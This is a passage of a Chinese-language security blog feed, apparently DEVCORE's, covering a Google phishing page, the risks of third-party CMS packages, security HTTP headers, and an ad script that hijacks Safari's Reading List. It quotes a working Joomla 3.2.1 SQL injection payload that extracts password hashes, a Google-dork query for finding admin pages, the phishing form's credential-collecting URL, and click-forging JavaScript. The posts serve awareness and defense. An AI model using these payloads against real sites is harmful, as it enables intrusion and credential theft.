class="na">placeholder=</span><span class="s">"Password"</span> <span class="na">class=</span><span class="s">""</span> <span class="na">type=</span><span class="s">"password"</span><span class="nt">&gt;</span> <span class="nt">&lt;input</span> <span class="na">id=</span><span class="s">"signIn"</span> <span class="na">name=</span><span class="s">"signIn"</span> <span class="na">class=</span><span class="s">"rc-button rc-button-submit"</span> <span class="na">value=</span><span class="s">"Sign in"</span> <span class="na">type=</span><span class="s">"submit"</span><span class="nt">&gt;</span></code></pre></figure> <p>發現了嗎?其中 form 的 action 欄位被取代成「<strong>http://cantonfair.a78.org/yahoo/post.php</strong>」,而這個頁面會直接接收受害者輸入的帳號密碼,並且自動跳轉到真正的 Google 登入頁面。攻擊者從 a78.org 這個網站中直接取得所有被駭的人輸入的帳號密碼。</p> <p>這是一個很簡單、典型、又易被發現的釣魚案例。如果一時不察不小心輸入了帳號密碼,下次帳號被盜的就是自己。建議大家在收取信件的時候遵循幾大原則:</p> <ol> <li>不隨便開啟附加檔案:附件常夾帶惡意程式、執行檔、惡意文件、釣魚網頁等,切勿隨便開啟。可使用 Google Docs 開啟附件文件防止惡意文件攻擊 Adobe PDF Reader、Microsoft Office 等程式。更常有把惡意程式加密壓縮後寄出,在信中附上密碼,借此規避防毒軟體的偵測,不可不慎。</li> <li>注意信件中的超連結 URL:釣魚信件常在超連結中使用惡意網站的 URL,在點選之前務必仔細檢查,更要小心「Goog<strong>l</strong>e」及「Goog<strong>1</strong>e」之類的英文數字差異。</li> <li>注意信件中的語氣:有的時候攻擊者仿冒你身邊可信任的人寄信給你,但是語氣、用詞要非常精準。如果出現了「<strong>尊敬的用戶您好</strong>」你就會發現這個應該不太像是台灣本土的信件用語。</li> <li>不在信件中夾帶機敏資料:信件是不安全的,切勿在信中提到帳號、密碼、個資等機密資料。</li> <li>不回應陌生郵件:郵件中會夾帶自己的 IP 位址,回應信件可能讓攻擊者得到這些資料。</li> <li>使用安全的郵件軟體:若使用安全的郵件軟體、平台,例如 Gmail,遇到惡意郵件時,會即時阻擋並且警告用戶。如果使用自己的郵件軟體,就要特別注意釣魚等攻擊。</li> </ol> <p>電子郵件的攻擊已經成為滲透攻擊主要的手法之一,不少國際資安事件都是肇因於惡意郵件。例如 2013 年韓國 DarkSeoul 事件,以及竄改交易匯款資料郵件詐取匯款等。身為目標的我們更要時時注意使用電子郵件時的安全事項。</p> https://devco.re/blog/2014/03/31/Google-Account-Phishing-Scam/ https://devco.re/blog/2014/03/31/Google-Account-Phishing-Scam Mon, 31 Mar 2014 00:00:00 +0800 使用第三方套件所要擔負的資安風險 <p>使用第三方套件節省開發時間,已經是整個資訊產業的慣例。但是很多管理者可能不知道,使用第三方套件到底需要擔負多大的資安風險。你確定你用的套件是安全無虞的嗎?是否有經過嚴謹的安全測試?若有安全漏洞引爆,是否有廠商可以負責維護修補?廠商開發的程式碼品質是否穩定?這些都是在使用之前必須要考慮的。</p> <p>在服務眾多客戶之後,我們深知這些問題的嚴重性。以下我們將就幾個經典的案例來說明使用第三方套件所要擔負的風險,並且分享我們對於第三方套件的安全建議。</p> <!-- more --> <h3 id="程式碼的安全性">程式碼的安全性?</h3> <p>程式碼的品質直接決定了系統的安全性。如果一個套件有以下幾點因素:</p> <ol> <li>程式開發已久難以修改</li> <li>開發人員無安全觀念</li> <li>大量整合外部套件,無法控管每個套件安全</li> </ol> <p>可能就因為程式碼難以修改,形成漏洞百出的程式架構。若是之後陸續發生安全問題,儘管不斷的修補漏洞,但卻會因為程式碼的設計、架構等因素,造成日後依舊陸續有安全疑慮。</p> <h3 id="案例說明dedecms">案例說明:DedeCMS</h3> <p><a href="http://www.dedecms.com/">DedeCMS</a> 是知名的內容管理系統,不少公司拿此套件架設網站、部落格等。但在這幾個月,在「<a href="http://wooyun.org">烏雲平台</a>」上陸續有人揭露 DedeCMS 的漏洞。包括大量各種 SQL Injection、Cross-Site Scripting 弱點等等,甚至還包括 Command Execution 問題。如果沒有即時修正這些問題,小則造成用戶帳號被盜,大則造成整台主機被入侵,取得作業系統權限。</p> <p><a href="/assets/img/blog/20140314/blog_3rd_party_security_00.png"><img src="/assets/img/blog/20140314/blog_3rd_party_security_00.png" alt="烏雲漏洞報告平台" title="烏雲漏洞報告平台" /> </a></p> <p>什麼系統沒被找到漏洞過呢?有那麼嚴重嗎?但該系統已經不只一次出現重大漏洞導致企業遭到入侵,在今年一二月份更是遭揭露多達十數個高風險 SQL Injection 資料庫注入漏洞。此現象凸顯該套件的設計並未經過安全測試,並且採用不安全的程式撰寫方式,未來可能會有更多隱含的漏洞釋出。</p> <p><a href="/assets/img/blog/20140314/blog_3rd_party_security_02.png"><img src="/assets/img/blog/20140314/blog_3rd_party_security_02.png" alt="dedecms漏洞於烏雲平台" title="dedecms漏洞於烏雲平台" /></a></p> <p>在平台中搜尋關鍵字「DedeCMS」,會發現漏洞提報的次數相當多,在漏洞的評論中也有不少技術人員進行討論。但更多的疑惑是為什麼 DedeCMS 會一再的發生資安問題。例如以下漏洞:</p> <ul> <li><a href="http://wooyun.org/bugs/wooyun-2014-052010">Dedecms某命令執行漏洞</a></li> <li><a href="http://wooyun.org/bugs/wooyun-2014-051950">DedeCMS全版本通殺SQL注入(真正的無任何限制附官方測試結果)</a></li> <li><a href="http://wooyun.org/bugs/wooyun-2014-051889">DedeCMS全版本通殺SQL注入(無任何限制)</a></li> <li><a href="http://www.wooyun.org/bugs/wooyun-2014-052792">Dedecms某命令执行漏洞(续)</a></li> </ul> <p><a href="/assets/img/blog/20140314/blog_3rd_party_security_03.png"><img src="/assets/img/blog/20140314/blog_3rd_party_security_03.png" alt="dedecms漏洞於烏雲平台" title="dedecms漏洞於烏雲平台" /></a></p> <p>而於另一個「<a href="http://sebug.net">Sebug 安全漏洞信息庫</a>」也可以看到不少 DedeCMS 的蹤影。</p> <p><a href="/assets/img/blog/20140314/blog_3rd_party_security_01.png"><img src="/assets/img/blog/20140314/blog_3rd_party_security_01.png" alt="sebug安全漏洞信息庫" title="sebug安全漏洞信息庫" /></a></p> <p>如果官方在第一時間就能接獲通報、了解問題並修正解決,提供更新程式給客戶更新,那安全的風險會小些。但在官方尚未釋出更新的這段時間,網站將完全的暴露在風險當中。有心人士看到套件的漏洞陸續被揭露,也會更有興趣尋找使用該套件的網站攻擊。</p> <h3 id="案例說明joomla">案例說明:Joomla!</h3> <p><a href="http://www.joomla.org">Joomla!</a> 是另一套國際非常知名的 CMS 系統,因為其便利性,很多企業、學校、政府單位,都採用此套件建立網站。透過 Google Hacking 方式可以找到台灣非常多網站都使用 Joomla! 架站。</p> <pre> site:tw intitle:管理區 inurl:administrator </pre> <p><a href="/assets/img/blog/20140314/blog_3rd_party_security_04.png"><img src="/assets/img/blog/20140314/blog_3rd_party_security_04.png" alt="Google Hacking 尋找 Joomla!" title="Google Hacking 尋找 Joomla!" /></a></p> <p>但是如果今天這個系統出了問題呢?「Joomla!」因為外掛、套件眾多,也經常成為漏洞發掘的對象。在 2014/02/05,國外釋出了一個 SQL Injection Exploit,可以導致網站帳號密碼直接被導出。</p> <p>官方安全公告:<a href="http://developer.joomla.org/security/578-20140301-core-sql-injection.html">http://developer.joomla.org/security/578-20140301-core-sql-injection.html</a></p> <p>Secunia: Joomla! Multiple Vulnerabilities <a href="http://secunia.com/advisories/56772/">http://secunia.com/advisories/56772/</a></p> <p>Exploit 位址:<a href="http://www.exploit-db.com/exploits/31459/">http://www.exploit-db.com/exploits/31459/</a></p> <figure class="highlight"><pre><code class="language-html" data-lang="html"># Exploit Title: Joomla 3.2.1 sql injection # Date: 05/02/2014 # Exploit Author: [email protected] # Vendor Homepage: http://www.joomla.org/ # Software Link: http://joomlacode.org/gf/download/frsrelease/19007/134333/Joomla_3.2.1-Stable-Full_Package.zip # Version: 3.2.1 (default installation with Test sample data) # Tested on: Virtualbox (debian) + apache POC=&gt; http://localhost/Joomla_3.2.1/index.php/weblinks-categories?id=\   will cause an error:   1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\)' at line 3 SQL=SELECT `t`.`id` FROM `k59cv_tags` AS t INNER JOIN `k59cv_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id` AND `m`.`type_alias` = 'com_weblinks.categories' AND `m`.`content_item_id` IN ( \) Array ( [type] =&gt; 8 [message] =&gt; Undefined offset: 0 [file] =&gt; /var/www/Joomla_3.2.1/libraries/joomla/filter/input.php [line] =&gt; 203 )   I modified the original error.php file with this code --- <span class="cp">&lt;?php print_r(error_get_last()); ?&gt;</span> --- in order to obtain something useful. ;-)   Now i can easily exploit this flaw:   http://localhost/Joomla_3.2.1/index.php/weblinks-categories?id=0%20%29%20union%20select%20password%20from%20%60k59cv_users%60%20--%20%29 and obtain the hash:   1054 Unknown column '$P$D8wDjZpDIF4cEn41o0b4XW5CUrkCOZ1' in 'where clause' SQL=SELECT `m`.`tag_id`,`m`.`core_content_id`,`m`.`content_item_id`,`m`.`type_alias`,COUNT( `tag_id`) AS `count`,`t`.`access`,`t`.`id`,`ct`.`router`,`cc`.`core_title`,`cc`.`core_alias`,`cc`.`core_catid`,`cc`.`core_language` FROM `k59cv_contentitem_tag_map` AS `m` INNER JOIN `k59cv_tags` AS `t` ON m.tag_id = t.id INNER JOIN `k59cv_ucm_content` AS `cc` ON m.core_content_id = cc.core_content_id INNER JOIN `k59cv_content_types` AS `ct` ON m.type_alias = ct.type_alias WHERE `m`.`tag_id` IN ($P$D8wDjZpDIF4cEn41o0b4XW5CUrkCOZ1) AND t.access IN (1,1) AND (`m`.`content_item_id` <span class="nt">&lt;&gt;</span> 0 ) union select password from `k59cv_users` -- ) OR `m`.`type_alias` <span class="nt">&lt;&gt;</span> 'com_weblinks.categories') AND `cc`.`core_state` = 1 GROUP BY `m`.`core_content_id` ORDER BY `count` DESC LIMIT 0, 5   CheerZ&gt;</code></pre></figure> <p>值得注意一看的是<a href="http://developer.joomla.org/security/578-20140301-core-sql-injection.html">官方公告</a>,上面標註著漏洞回報時間以及修補時間。2014/2/6 接獲回報,2014/3/6 修復。在這整整一個月的時間之內,所有適用版本內的 Joomla! 網站都將受此漏洞影響。因此套件廠商的反應修復速度越慢,顧客暴露在風險之中的時間越長。</p> <figure class="highlight"><pre><code class="language-html" data-lang="html">Project: Joomla! SubProject: CMS Severity: High Versions: 3.1.0 through 3.2.2 Exploit type: SQL Injection Reported Date: 2014-February-06 Fixed Date: 2014-March-06 CVE Number: Pending</code></pre></figure> <h3 id="案例說明外包廠商">案例說明:外包廠商</h3> <iframe src="//embed.gettyimages.com/embed/147456329?et=tHsuT-4nxk-4NvmLZycwCA&amp;sig=Z5X7iFr5V9vS70tCT49wQA8EldpRXSuV3jpoBtgTmg4=" width="507" height="406" frameborder="0" scrolling="no"> </iframe> <p>這樣的情境你是否熟悉?</p> <p>公司有一套客製化的系統需要建置,但是因為公司內部開發人員不足,因此把這個系統外包出去給廠商做。貨比三家不吃虧,比了 A B C 三家,發現 A 家最便宜實惠,交貨時間又短。決定就把這個系統發包給 A 廠商做。半年過去了,這個廠商順利交貨結案。</p> <p>一年過後,發現這個系統竟然遭到入侵,主動攻擊內部其他伺服器。「不是有買防火牆嗎?怎麼還會被入侵?」老闆說。這可嚴重了,馬上找廠商來刮一頓。沒想到,A 廠商表示,該案已經順利結案,維護期也已經過了,沒辦法提供協助,除非繼續簽訂維護合約。問題總得解決,簽訂了維護合約之後,A 廠商也協助把病毒砍掉了。圓滿結束?事情有那麼簡單嗎?</p> <p>過了兩天,系統又開始攻擊其他伺服器。「病毒不是已經砍掉了嗎?」老闆說。問題在哪大家應該都很清楚。在尋找資安廠商協助之下,發現主機是因為 A 廠商設計的系統含有漏洞,導致 SQL Injection 問題,遭攻擊者利用植入惡意程式。A 廠商百般無奈,摸摸鼻子把這個漏洞修補起來。又過了兩天,再度遭到入侵。看了看,發現又是另一個 SQL Injection 問題。在幾次與攻擊者的不斷角力之下,終於好像把問題都修完了。</p> <p>過了一週,系統再度有惡意程式的蹤跡,A 廠商也無能為力。資安廠商表示,買這個就對了!在陸續被迫買了防火牆、WAF、IDS 等設備後,雖然問題貌似改善,但系統仍然零星有入侵事件發生。公司只好「斷然處置」,等待下次預算,另請廠商重新開發系統。</p> <ul> <li>問題 1:該系統是否還有其他漏洞?</li> <li>問題 2:公司的處置是否正確?</li> <li>問題 3:A 廠商的其他客戶是否有類似的問題?</li> <li>問題 4:不是有買資安設備?為什麼還會有資安事件?</li> <li>問題 5:公司該如何自保?</li> <li>問題 6:廠商該如何自保?</li> </ul> <p>想一下以上各點問題。</p> <ul> <li>問題 1:該系統是否還有其他漏洞?</li> </ul> <p>如果一個在開發時期就沒有注意安全的系統,很有可能有更多不為人知的漏洞。如果被動依賴資安事件,發生一件修一個漏洞,那是永無止盡的。正確的方式應該是直接針對 A 廠商的原始碼進行黑箱<a href="http://devco.re/services/penetration-test">滲透測試</a>、白箱源碼檢測 (Code Review),才能快速找出所有風險。</p> <ul> <li>問題 2:公司的處置是否正確?</li> </ul> <p>「貨比三家不吃虧」,節儉確實是美德,但是在資訊產業中,越便宜的系統可能代表著更多的 cost down,除了犧牲掉品質之外,可能帶給企業更多損失。在資安事件發生時,一定要找原本維運廠商負責,並且與資安顧問公司配合,協助廠商把問題解決。</p> <ul> <li>問題 3:A 廠商的其他客戶是否有類似的問題?</li> </ul> <p>羅馬不是一日造成的,不安全的系統也不是一個漏洞造成的。廠商通常是做出一份系統,客製化販賣給不同的企業用戶。如果在建置的過程中沒有注意安全問題,今天這家客戶有這個漏洞,別的客戶一定也會有。因此如果採用了不良的廠商實作的系統,下一個被駭的可能就是自己。</p> <ul> <li>問題 4:不是有買資安設備?為什麼還會有資安事件?</li> </ul> <p>「不是有買防火牆嗎?怎麼還會被入侵?」是很多傳統思維企業的共同心聲。防火牆不是萬靈丹,駭客也絕對不是電腦。並不是完全依賴資安設備就能夠避免資安問題。在駭客的手法中,更多是如何繞過各種防禦設備手段,甚至有些資安設備本身竟然含有資安弱點,企業反而因為資安設備導致系統被入侵。</p> <p>正確的思維應該是從人開始做起,建立正確的資安觀念、資安思維,學習駭客的思維。建立正確的系統開發流程、建立正確的資安事件處理流程。尋找信譽良好的資安顧問廠商,定期針對企業內部各系統進行滲透測試、弱點掃描。安全的建立絕非一蹴可及,唯有一步步踏穩才能走得更遠。</p> <ul> <li>問題 5:公司該如何自保?</li> <li>問題 6:廠商該如何自保?</li> </ul> <p>請看下一個章節「建議對策」。</p> <h3 id="建議對策">建議對策</h3> <p><a href="http://www.flickr.com/photos/26604430@N05/5895021311/"><img src="/assets/img/blog/20140314/blog_3rd_party_security_cover.png" alt="Countermeasure" title="Countermeasure" /></a></p> <p>一個安全的系統,絕對是由基礎建設開始,每個環節都兼顧到安全的設計,並且定期稽核程式碼安全,使用正確安全的方式開發。如果系統開發初期就沒有兼顧安全,後期不管怎麼修補,都還是會有漏洞讓攻擊者有機可趁。</p> <p>企業該如何自保?使用 OpenSource 第三方套件或者是系統委外開發,是企業無可避免的。如果是第三方套件,平時可以多加注意套件的資安消息,如果一有新的漏洞被發現,將可以在第一時間應變。若沒有足夠人力密切注意資安消息,也可以委請資安顧問廠商協助,在得知資安消息的第一時間通報企業。委外開發的系統,企業可以要求廠商提出專業公正第三方資安公司進行檢測,並且提出安全報告,證明該系統有經過滲透測試等安全檢測,保障雙方的權利。</p> <p>如果系統已經被入侵了,或者是被揭露了安全漏洞,該如何自保呢?在漏洞大量揭露的情況下,系統更會成為攻擊者的目標。因此要務必密切注意使用該套件的伺服器狀況,並且遵循以下原則:</p> <ul> <li>密切注意官方的更新程式並立即更新</li> <li>此台伺服器的帳號密碼切勿與他台共用</li> <li>將此台伺服器與其他伺服器隔離,避免遭入侵時受害範圍擴大</li> <li>異地備份伺服器的系統記錄,並定時檢閱記錄,觀察是否有可疑行為</li> <li>考慮採用 Web Application Firewall (WAF)、ModSecurity 伺服器安全模組,增加攻擊難度</li> <li>重新評估使用遭入侵套件的必要性以及安全考量,避免成為企業的隱含風險</li> </ul> <p>使用第三方套件加速開發節省成本的同時,務必也要考慮安全的問題,才不會因小失大,造成企業更大的損失。同時企業也必須增加資安的素養以及了解攻擊者的思維,別讓自己的企業成為下一個資安事件報導的對象。</p> https://devco.re/blog/2014/03/14/3rd-party-software-security-issues/ https://devco.re/blog/2014/03/14/3rd-party-software-security-issues Fri, 14 Mar 2014 00:00:00 +0800 HTTP Headers 的資安議題 (1) <h3 id="前言">前言</h3> <p>隨著駭客攻擊事件日益漸增,原本經常被大眾所忽視的網站資安問題,現在已經逐漸受到重視。但是,許多企業主或開發人員雖然很想強化網站的安全性,卻不知道該如何從何著手。</p> <p>企業主通常想到的改善方案是添購資安設備,希望可以一勞永逸。我們姑且先不談「<strong>資訊界沒有永遠的安全</strong>」這件事,企業光是要買到有效的資安設備就是一件令人頭痛的事情,不但要花許多時間聽取廠商的簡報,耗費大筆的經費採購,購買之後還要請員工或原廠技術人員協助調校、設定或教學,否則買了等於沒買。</p> <p>而對於技術人員來說,若要強化網站安全性,必須先了解駭客如何攻擊,才知道如何建立根本性的防禦機制。但是企業主通常捨不得送員工去參加專業的教育訓練,台灣員工拿的 22k 低薪也低得常常令人捨不得花錢去上課。</p> <p>如果有一種方式可以增強網站的基本安全性,而且不需要花大錢,又可以讓開發人員不用大幅度變更程式,應該是個皆大歡喜的方案?</p> <!-- more --> <h3 id="究竟有沒有低成本的簡易防禦方法">究竟有沒有低成本的簡易防禦方法?</h3> <p>有的!目前各家瀏覽器 (Google Chrome、Firefox、Safari、IE) 其實已經支援許多種資安相關的 HTTP headers。開發人員若在伺服器設定加入某些 headers,瀏覽器收到 response 時就會執行相對應的防禦機制,如此一來可直接提升網頁應用程式的基本安全性。這些 HTTP headers 通常也已被許多常見的 framework 納入爲基本功能,即使開發人員不清楚如何修改伺服器相關設定,也可以依靠 framework 提供的方式來使用這些 headers。因此使用這些 headers 來提升網站安全性就成爲頗具 CP 值的方式。</p> <p>目前最常見的資安相關 HTTP headers 可參考 <a href="https://www.owasp.org/index.php/List_of_useful_HTTP_headers">OWASP 網站</a> 所條列的內容:</p> <ul> <li>Content-Security-Policy (X-Content-Security-Policy、X-Webkit-CSP 都是同一系列)</li> <li>Strict-Transport-Security</li> <li>X-Content-Type-Options</li> <li>X-Frame-Options</li> <li>X-XSS-Protection</li> </ul> <p>還有一些其他的資安相關 HTTP headers 也值得注意:</p> <ul> <li>Access-Control-Allow-Origin</li> <li>X-Download-Options</li> <li>X-Permitted-Cross-Domain-Policies</li> </ul> <p>最後有一項比較特別的是 Cookie 的安全設定,由於 Cookie 也是 HTTP headers 的一部份,因此本文也將其列出:</p> <ul> <li>Set-Cookie: HttpOnly</li> <li>Set-Cookie: Secure</li> </ul> <p>上述 headers 的數量是不是稍微超過你的想像?其實這些技術早已被很多大公司採用,像是 Google、Facebook、Twitter 等常見的網路服務都可看到這些 headers 的蹤影。下面這張圖片使用 Chrome 的 Inspector 來觀察 Twitter 的 HTTP response 內容:</p> <p><a href="/assets/img/blog/20140310/http-headers-twitter.jpg"><img src="/assets/img/blog/20140310/http-headers-twitter.jpg" alt="Twitter 的 HTTP reponse" title="Twitter 的 HTTP reponse" /></a></p> <p>從畫紅線的部分我們可看到 Twitter 在 Cookie 設定了 Secure 與 HttpOnly 這兩個屬性,並且採用了 Strict-Transport-Security、X-Content-Type-Options、X-Frame-Options、X-XSS-Protection 這幾種 headers。</p> <p>如果覺得用圖形界面太麻煩,也可以使用 command line 的工具來觀察。下面這張圖片使用 curl 來觀察 Facebook 的 HTTP response 內容:</p> <p><a href="/assets/img/blog/20140310/http-headers-facebook.jpg"><img src="/assets/img/blog/20140310/http-headers-facebook.jpg" alt="Facebook 的 HTTP response" title="Facebook 的 HTTP response" /></a></p> <h3 id="上述資安相關的-headers-想解決哪些問題">上述資安相關的 headers 想解決哪些問題?</h3> <p>目前這些資安相關的 HTTP headers 想解決的問題主要可分為以下五大類:</p> <ul> <li>防禦 XSS (Cross Site Scripting): <ul> <li>Content-Security-Policy</li> <li>Set-Cookie: HttpOnly</li> <li>X-XSS-Protection</li> <li>X-Download-Options</li> </ul> </li> <li>防禦 Clickjacking: <ul> <li>X-Frame-Options</li> </ul> </li> <li>強化 HTTPS 機制: <ul> <li>Set-Cookie: Secure</li> <li>Strict-Transport-Security</li> </ul> </li> <li>避免瀏覽器誤判文件形態: <ul> <li>X-Content-Type-Options</li> </ul> </li> <li>保護網站資源別被任意存取: <ul> <li>Access-Control-Allow-Origin(此 header 若設定錯誤會適得其反!)</li> <li>X-Permitted-Cross-Domain-Policies</li> </ul> </li> </ul> <p>其中 <a href="https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)">XSS</a> 與 <a href="https://www.owasp.org/index.php/Clickjacking">Clickjacking</a> 是目前常見的攻擊手法,尤其 XSS 目前仍高居 <a href="https://www.owasp.org/index.php/Top_10_2013-Top_10">OWASP Top 10 2013 的第三名</a>,其嚴重性可見一斑。而在我們執行過的許多<a href="http://devco.re/services/penetration-test">滲透測試</a>案之中,被我們找出 XSS 弱點的網站高達九成!實在是不能輕忽這些問題。若能降低這些手法攻擊成功的機率,企業的利益就能有更多的安全保障,客戶對企業的信賴亦會更加穩固。</p> <h3 id="目前這些-headers-的使用狀況">目前這些 headers 的使用狀況?</h3> <p>這麼簡便的基本防禦方式,理當廣為企業所採用,因此我們針對 <a href="http://www.alexa.com/topsites/countries/TW">Alexa Taiwan Top 525</a> 中挑出 513 個可正常使用的網站(咦?一般不是 Top 500 嗎?我沒騙你,<a href="http://www.alexa.com/topsites/countries;20/TW">真的有 525</a>),調查這些網站是否使用某些常見的 HTTP headers。結果相當令人失望,許多網站都未採用這些 headers。統計數據如下圖:</p> <p><a href="/assets/img/blog/20140310/http-headers-statistic-alexa-taiwan.png"><img src="/assets/img/blog/20140310/http-headers-statistic-alexa-taiwan.png" alt="HTTP headers statistic of Alexa Taiwan Top 513" title="HTTP headers statistic of Alexa Taiwan Top 513" /></a></p> <p>從統計結果中可發現最多人使用的 HttpOnly 只有 21.25%,排名第二的 X-Frame-Options 也只有 7.80%。而且這些數據尚未將 Google、Twitter 等大公司排除,若將前述國際公司排除後,這些比率恐怕會更低。</p> <p>不過在上述網站中有不少入口網站、漫畫網站、色情網站,或是公司並非台灣企業,無法反應台灣的使用狀況。恰好在 2012 年 10 月台灣有許多網路服務公司一同成立了 <a href="http://www.tieataiwan.org/index.php">TIEA 台灣網路暨電子商務產業發展協會</a>,目前網站上的<a href="http://www.tieataiwan.org/member.php">會員名單</a>中有 116 個會員,其中不少頗具代表性,正好可觀察這些公司營運的網站是否有採用這些 headers。統計數據如下圖:</p> <p><a href="/assets/img/blog/20140310/http-headers-statistic-tiea.png"><img src="/assets/img/blog/20140310/http-headers-statistic-tiea.png" alt="HTTP headers statistic of TIEA" title="HTTP headers statistic of TIEA" /></a></p> <p>很可惜地,所有 headers 的採用率比起上一份數據都還要低。除非公司網站僅使用靜態頁面,網站上沒有任何商業邏輯、帳號、個資,否則應該都要使用合適的 headers 為你的資安防禦工事多築一道牆。</p> <p>而且由於 meeya 目前沒有正式官網,是直接使用 facebook 粉絲頁作為官網,因此 Content-Security-Policy、Set-Cookie Secure、Strict-Transport-Security、X-Content-Type-Options、X-Frame-Options、X-XSS-Protection 等六項 headers 的統計數量都還要再減一,頓時 Content-Security-Policy 與 Strict-Transport-Security 的總數量皆降至 0 個。此狀況顯示出,即使是在一些台灣主流的網站中,相關營運人員在資安領域仍有許多努力與學習的空間。</p> <p>許多台灣企業經常顧著衝業績、開發新功能、趕著讓新服務上線,卻忽略了非常重要的基礎資安建設,往往是在遭到攻擊後才大呼損失慘重,甚至是已被滲透了而不自知,其企業利益與民眾個資的保障皆相當令人擔憂。</p> <h3 id="下集預告">下集預告</h3> <p>接下來本文的續作我們會分幾個篇章詳談各種 headers 的使用方式並介紹實際案例,下一篇將會探討專門防禦 XSS 的 HTTP headers,敬請期待!等不及的朋友們就請先用上面的一些關鍵字自行上網查詢囉!</p> https://devco.re/blog/2014/03/10/security-issues-of-http-headers-1/ https://devco.re/blog/2014/03/10/security-issues-of-http-headers-1 Mon, 10 Mar 2014 00:00:00 +0800 奇優廣告 Qiyou 廣告手法剖析 <p>歡迎來到我們的技術文章專欄!</p> <p>今天我們來談談「廣告顯示手法」。不少廣告商為了要增加廣告的曝光以及點擊率,會使用各種手法強迫使用者顯示廣告。例如彈出式視窗、內嵌廣告、強制跳轉等等。但這樣的手法有什麼好提的呢?今天有一個很特別的案例,讓我們來看看一個網站「<a href="http://1kkk.com">1kkk.com 極速漫畫</a>」。</p> <p><img src="/assets/img/blog/20140306/blog_qiyou_hijack_02.png" alt="奇優廣告 Qiyou 廣告手法剖析 - 1kkk.com" title="奇優廣告 Qiyou 廣告手法剖析 - 1kkk.com" /> 這是一個常見的網路漫畫網站,接著點擊進去漫畫頁面。 <!-- more --> <img src="/assets/img/blog/20140306/blog_qiyou_hijack_03.png" alt="奇優廣告 Qiyou 廣告手法剖析 - 1kkk.com 漫畫頁面" title="奇優廣告 Qiyou 廣告手法剖析 - 1kkk.com 漫畫頁面" /> 網站中充斥著煩人的廣告,並且突然一閃而過 Safari 的「閱讀列表」動畫。怎麼會突然這樣呢?讓我們打開「閱讀列表」一探究竟。</p> <p><img src="/assets/img/blog/20140306/blog_qiyou_hijack_04.png" alt="奇優廣告 Qiyou 廣告手法剖析 - Safari 顯示閱讀側邊欄" title="奇優廣告 Qiyou 廣告手法剖析 - Safari 顯示閱讀側邊欄" /> <img src="/assets/img/blog/20140306/blog_qiyou_hijack_05.png" alt="奇優廣告 Qiyou 廣告手法剖析 - Safari 閱讀列表被放置廣告 URL" title="奇優廣告 Qiyou 廣告手法剖析 - Safari 閱讀列表被放置廣告 URL" /></p> <p>打開閱讀列表之後,我們赫然發現裡面被加了非常多廣告的頁面!</p> <p>可以看以下影片示範:</p> <center><div class="videowrapper"><iframe width="560" height="420" src="https://www.youtube.com/embed/E-BGf1MwecU" frameborder="0"> </iframe></div></center> <p>這是怎麼做到的呢?就是一種利用 JavaScript 控制滑鼠點擊的變形應用。點選「網頁檢閱器」或是「開發者工具」,會看到一段奇怪的 JavaScript 控制滑鼠的點擊行為。</p> <p><img src="/assets/img/blog/20140306/blog_qiyou_hijack_06.png" alt="奇優廣告 Qiyou 廣告手法剖析 - 廣告 JavaScript" title="奇優廣告 Qiyou 廣告手法剖析 - 廣告 JavaScript" /></p> <p>分析節錄後的 code 如下:</p> <figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="cp">&lt;!DOCTYPE html&gt;</span> <span class="nt">&lt;html&gt;</span> <span class="nt">&lt;head&gt;</span> <span class="nt">&lt;script&gt;</span> <span class="kd">var</span> <span class="nx">force_add_url_to_readinglist</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">target_url</span><span class="p">)</span> <span class="p">{</span> <span class="k">try</span> <span class="p">{</span> <span class="kd">var</span> <span class="nx">fake_element</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">a</span><span class="dl">'</span><span class="p">);</span> <span class="nx">fake_element</span><span class="p">.</span><span class="nx">setAttribute</span><span class="p">(</span><span class="dl">'</span><span class="s1">href</span><span class="dl">'</span><span class="p">,</span> <span class="nx">target_url</span><span class="p">);</span> <span class="nx">fake_element</span><span class="p">.</span><span class="nx">setAttribute</span><span class="p">(</span><span class="dl">'</span><span class="s1">style</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">display:none;</span><span class="dl">'</span><span class="p">);</span> <span class="c1">// https://developer.mozilla.org/en-US/docs/Web/API/event.initMouseEvent</span> <span class="kd">var</span> <span class="nx">fake_event</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createEvent</span><span class="p">(</span><span class="dl">'</span><span class="s1">MouseEvents</span><span class="dl">'</span><span class="p">);</span> <span class="nx">fake_event</span><span class="p">.</span><span class="nx">initMouseEvent</span><span class="p">(</span><span class="dl">'</span><span class="s1">click</span><span class="dl">'</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="nb">window</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="kc">true</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="kc">null</span><span class="p">);</span> <span class="nx">fake_element</span><span class="p">.</span><span class="nx">dispatchEvent</span><span class="p">(</span><span class="nx">fake_event</span><span class="p">);</span> <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span> <span class="nx">error</span> <span class="p">)</span> <span class="p">{</span> <span class="c1">// nothing.</span> <span class="p">}</span> <span class="p">};</span> <span class="kd">var</span> <span class="nx">url</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">http://google.com/?</span><span class="dl">'</span> <span class="o">+</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">().</span><span class="nx">toString</span><span class="p">().</span><span class="nx">substr</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span> <span class="nx">force_add_url_to_readinglist</span><span class="p">(</span><span class="nx">url</span><span class="p">);</span> <span class="nt">&lt;/script&gt;</span> <span class="nt">&lt;/head&gt;</span> <span class="nt">&lt;body&gt;</span> <span class="nt">&lt;h1&gt;</span>Test: FORCE_ADD_URL_TO_READINGLIST<span class="nt">&lt;/h1&gt;</span> <span 